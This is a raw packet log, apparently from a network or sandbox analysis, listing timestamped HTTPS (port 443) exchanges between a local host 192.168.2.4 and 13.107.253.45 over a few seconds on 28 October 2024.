Oct 28, 2024 19:12:31.002727032 CET	443	49823	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:31.003249884 CET	49823	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:31.003268003 CET	443	49823	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:31.003674030 CET	49823	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:31.003679991 CET	443	49823	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:31.099303961 CET	443	49824	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:31.099859953 CET	49824	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:31.099893093 CET	443	49824	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:31.100269079 CET	49824	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:31.100275040 CET	443	49824	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:31.114733934 CET	443	49822	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:31.115030050 CET	443	49822	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:31.115098953 CET	49822	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:31.115149975 CET	49822	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:31.115150928 CET	49822	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:31.115173101 CET	443	49822	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:31.115185022 CET	443	49822	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:31.118012905 CET	49827	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:31.118057013 CET	443	49827	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:31.118138075 CET	49827	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:31.118288994 CET	49827	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:31.118302107 CET	443	49827	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:31.149017096 CET	443	49823	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:31.149143934 CET	443	49823	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:31.149337053 CET	49823	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:31.149369955 CET	49823	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:31.149369955 CET	49823	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:31.149384022 CET	443	49823	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:31.149394989 CET	443	49823	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:31.151722908 CET	49828	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:31.151822090 CET	443	49828	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:31.151896954 CET	49828	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:31.152200937 CET	49828	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:31.152228117 CET	443	49828	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:31.158468962 CET	443	49825	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:31.158989906 CET	49825	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:31.158998966 CET	443	49825	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:31.159369946 CET	49825	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:31.159374952 CET	443	49825	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:31.239058971 CET	443	49824	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:31.239154100 CET	443	49824	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:31.239253044 CET	49824	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:31.239635944 CET	49824	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:31.239635944 CET	49824	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:31.239705086 CET	443	49824	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:31.239741087 CET	443	49824	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:31.242963076 CET	49829	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:31.243002892 CET	443	49829	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:31.243108988 CET	49829	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:31.243324995 CET	49829	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:31.243335962 CET	443	49829	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:31.297673941 CET	443	49825	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:31.297749996 CET	443	49825	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:31.297889948 CET	49825	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:31.297995090 CET	49825	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:31.298012018 CET	443	49825	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:31.298022032 CET	49825	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:31.298027992 CET	443	49825	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:31.301131010 CET	49830	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:31.301218987 CET	443	49830	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:31.301322937 CET	49830	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:31.301487923 CET	49830	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:31.301525116 CET	443	49830	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:31.594683886 CET	443	49826	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:31.595297098 CET	49826	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:31.595370054 CET	443	49826	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:31.595915079 CET	49826	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:31.595928907 CET	443	49826	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:31.733311892 CET	443	49826	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:31.733462095 CET	443	49826	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:31.733553886 CET	49826	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:31.733704090 CET	49826	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:31.733741045 CET	443	49826	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:31.733771086 CET	49826	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:31.733787060 CET	443	49826	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:31.737256050 CET	49831	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:31.737296104 CET	443	49831	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:31.737360001 CET	49831	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:31.737566948 CET	49831	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:31.737586975 CET	443	49831	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:32.087603092 CET	443	49828	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:32.088428974 CET	49828	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:32.088454962 CET	443	49828	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:32.088916063 CET	49828	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:32.088923931 CET	443	49828	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:32.091845989 CET	443	49827	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:32.092236996 CET	49827	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:32.092250109 CET	443	49827	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:32.092606068 CET	49827	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:32.092609882 CET	443	49827	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:32.224145889 CET	443	49830	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:32.224911928 CET	49830	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:32.224944115 CET	443	49830	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:32.225374937 CET	49830	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:32.225384951 CET	443	49830	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:32.226200104 CET	443	49829	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:32.226667881 CET	49829	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:32.226701975 CET	443	49829	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:32.227247000 CET	49829	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:32.227264881 CET	443	49829	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:32.229413033 CET	443	49828	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:32.229599953 CET	443	49827	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:32.229609966 CET	443	49828	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:32.229693890 CET	49828	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:32.229792118 CET	443	49827	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:32.229862928 CET	49827	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:32.243952036 CET	49828	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:32.243988991 CET	443	49828	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:32.244007111 CET	49828	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:32.244014978 CET	443	49828	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:32.245208979 CET	49827	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:32.245229006 CET	443	49827	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:32.245243073 CET	49827	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:32.245249033 CET	443	49827	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:32.250247002 CET	49832	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:32.250282049 CET	443	49832	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:32.250365973 CET	49832	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:32.250838041 CET	49832	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:32.250854969 CET	443	49832	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:32.251635075 CET	49833	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:32.251681089 CET	443	49833	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:32.251753092 CET	49833	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:32.251909971 CET	49833	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:32.251925945 CET	443	49833	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:32.371743917 CET	443	49830	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:32.372199059 CET	443	49830	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:32.372253895 CET	49830	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:32.372287035 CET	49830	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:32.372303009 CET	443	49830	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:32.372317076 CET	49830	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:32.372323990 CET	443	49830	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:32.374430895 CET	443	49829	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:32.374524117 CET	443	49829	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:32.374588966 CET	49829	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:32.375221014 CET	49834	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:32.375245094 CET	443	49834	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:32.375303984 CET	49834	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:32.375390053 CET	49829	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:32.375411034 CET	443	49829	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:32.375427008 CET	49829	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:32.375433922 CET	443	49829	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:32.376388073 CET	49834	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:32.376405001 CET	443	49834	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:32.377460003 CET	49835	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:32.377496958 CET	443	49835	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:32.377563000 CET	49835	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:32.377661943 CET	49835	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:32.377676964 CET	443	49835	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:32.497734070 CET	443	49831	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:32.540978909 CET	49831	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:32.540997028 CET	443	49831	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:32.541590929 CET	49831	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:32.541595936 CET	443	49831	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:32.672158003 CET	443	49831	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:32.672533989 CET	443	49831	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:32.672604084 CET	49831	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:32.780482054 CET	49831	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:32.780503988 CET	443	49831	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:32.780524015 CET	49831	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:32.780531883 CET	443	49831	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:32.799796104 CET	49836	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:32.799844027 CET	443	49836	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:32.799921036 CET	49836	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:32.803443909 CET	49836	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:32.803464890 CET	443	49836	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:33.029788971 CET	443	49833	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:33.030435085 CET	49833	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:33.030514956 CET	443	49833	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:33.031053066 CET	49833	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:33.031106949 CET	443	49833	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:33.031220913 CET	443	49832	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:33.031693935 CET	49832	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:33.031745911 CET	443	49832	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:33.032094002 CET	49832	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:33.032131910 CET	443	49832	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:33.125910997 CET	443	49834	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:33.126595974 CET	49834	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:33.126678944 CET	443	49834	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:33.127075911 CET	49834	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:33.127096891 CET	443	49834	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:33.156364918 CET	443	49835	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:33.156747103 CET	49835	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:33.156781912 CET	443	49835	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:33.157155991 CET	49835	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:33.157164097 CET	443	49835	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:33.167812109 CET	443	49832	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:33.167948961 CET	443	49832	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:33.168026924 CET	49832	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:33.168124914 CET	49832	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:33.168165922 CET	443	49832	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:33.168193102 CET	49832	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:33.168209076 CET	443	49832	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:33.169406891 CET	443	49833	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:33.169429064 CET	443	49833	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:33.169487000 CET	49833	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:33.169517040 CET	443	49833	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:33.169584036 CET	49833	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:33.169601917 CET	443	49833	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:33.169614077 CET	49833	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:33.169732094 CET	443	49833	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:33.169764042 CET	443	49833	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:33.169810057 CET	49833	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:33.171544075 CET	49837	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:33.171581030 CET	49838	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:33.171582937 CET	443	49837	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:33.171622038 CET	443	49838	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:33.171647072 CET	49837	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:33.171684027 CET	49838	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:33.171804905 CET	49837	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:33.171823025 CET	443	49837	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:33.171840906 CET	49838	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:33.171866894 CET	443	49838	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:33.264878988 CET	443	49834	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:33.265094042 CET	443	49834	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:33.265175104 CET	49834	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:33.265261889 CET	49834	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:33.265305996 CET	443	49834	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:33.265335083 CET	49834	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:33.265352011 CET	443	49834	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:33.268599033 CET	49839	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:33.268642902 CET	443	49839	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:33.268718958 CET	49839	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:33.268903017 CET	49839	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:33.268918991 CET	443	49839	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:33.292963982 CET	443	49835	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:33.293143988 CET	443	49835	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:33.293221951 CET	49835	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:33.293399096 CET	49835	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:33.293400049 CET	49835	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:33.293456078 CET	443	49835	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:33.293481112 CET	443	49835	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:33.295826912 CET	49840	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:33.295871973 CET	443	49840	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:33.295960903 CET	49840	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:33.296094894 CET	49840	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:33.296125889 CET	443	49840	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:33.567781925 CET	443	49836	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:33.568283081 CET	49836	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:33.568320036 CET	443	49836	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:33.568747997 CET	49836	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:33.568754911 CET	443	49836	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:33.705173969 CET	443	49836	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:33.705235004 CET	443	49836	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:33.705288887 CET	49836	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:33.705310106 CET	443	49836	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:33.705385923 CET	443	49836	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:33.705451012 CET	49836	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:33.705578089 CET	49836	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:33.705578089 CET	49836	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:33.705595970 CET	443	49836	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:33.705606937 CET	443	49836	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:33.710057020 CET	49841	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:33.710144997 CET	443	49841	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:33.710215092 CET	49841	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:33.710517883 CET	49841	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:33.710552931 CET	443	49841	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:33.968229055 CET	443	49837	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:33.969425917 CET	49837	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:33.969451904 CET	443	49837	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:33.970045090 CET	49837	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:33.970051050 CET	443	49837	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:34.049168110 CET	443	49839	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:34.049818039 CET	49839	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:34.049845934 CET	443	49839	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:34.050184011 CET	49839	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:34.050194025 CET	443	49839	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:34.058644056 CET	443	49840	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:34.058929920 CET	49840	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:34.058960915 CET	443	49840	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:34.059261084 CET	49840	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:34.059267044 CET	443	49840	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:34.111892939 CET	443	49837	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:34.111952066 CET	443	49837	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:34.112082005 CET	443	49837	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:34.112210035 CET	49837	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:34.112210989 CET	49837	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:34.112365961 CET	49837	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:34.112385035 CET	443	49837	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:34.112395048 CET	49837	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:34.112400055 CET	443	49837	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:34.115645885 CET	49842	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:34.115684032 CET	443	49842	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:34.115776062 CET	49842	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:34.115942001 CET	49842	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:34.115961075 CET	443	49842	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:34.122498989 CET	443	49838	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:34.122942924 CET	49838	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:34.122970104 CET	443	49838	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:34.123320103 CET	49838	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:34.123327017 CET	443	49838	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:34.192956924 CET	443	49839	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:34.193059921 CET	443	49839	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:34.193226099 CET	49839	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:34.193264961 CET	49839	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:34.193264961 CET	49839	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:34.193284035 CET	443	49839	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:34.193295956 CET	443	49839	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:34.195946932 CET	49843	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:34.195987940 CET	443	49843	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:34.196072102 CET	49843	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:34.196221113 CET	49843	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:34.196239948 CET	443	49843	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:34.198760033 CET	443	49840	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:34.198843956 CET	443	49840	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:34.198901892 CET	49840	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:34.198980093 CET	49840	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:34.199023962 CET	443	49840	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:34.199053049 CET	49840	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:34.199069977 CET	443	49840	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:34.200958967 CET	49844	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:34.200993061 CET	443	49844	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:34.201069117 CET	49844	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:34.201189995 CET	49844	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:34.201205015 CET	443	49844	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:34.261826992 CET	443	49838	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:34.261846066 CET	443	49838	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:34.261897087 CET	443	49838	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:34.262031078 CET	49838	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:34.262031078 CET	49838	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:34.262099028 CET	49838	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:34.262111902 CET	443	49838	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:34.262126923 CET	49838	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:34.262134075 CET	443	49838	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:34.264869928 CET	49845	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:34.264889956 CET	443	49845	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:34.265063047 CET	49845	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:34.265130043 CET	49845	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:34.265136957 CET	443	49845	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:34.479918957 CET	443	49841	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:34.480640888 CET	49841	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:34.480684996 CET	443	49841	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:34.481055021 CET	49841	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:34.481064081 CET	443	49841	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:34.618382931 CET	443	49841	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:34.618566036 CET	443	49841	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:34.618748903 CET	49841	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:34.618851900 CET	49841	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:34.618874073 CET	443	49841	13.107.253.45	192.168.2.4
Oct 28, 2024 19:12:34.618886948 CET	49841	443	192.168.2.4	13.107.253.45
Oct 28, 2024 19:12:34.618894100 CET	443	49841	13.107.253.45	192.168.2.4
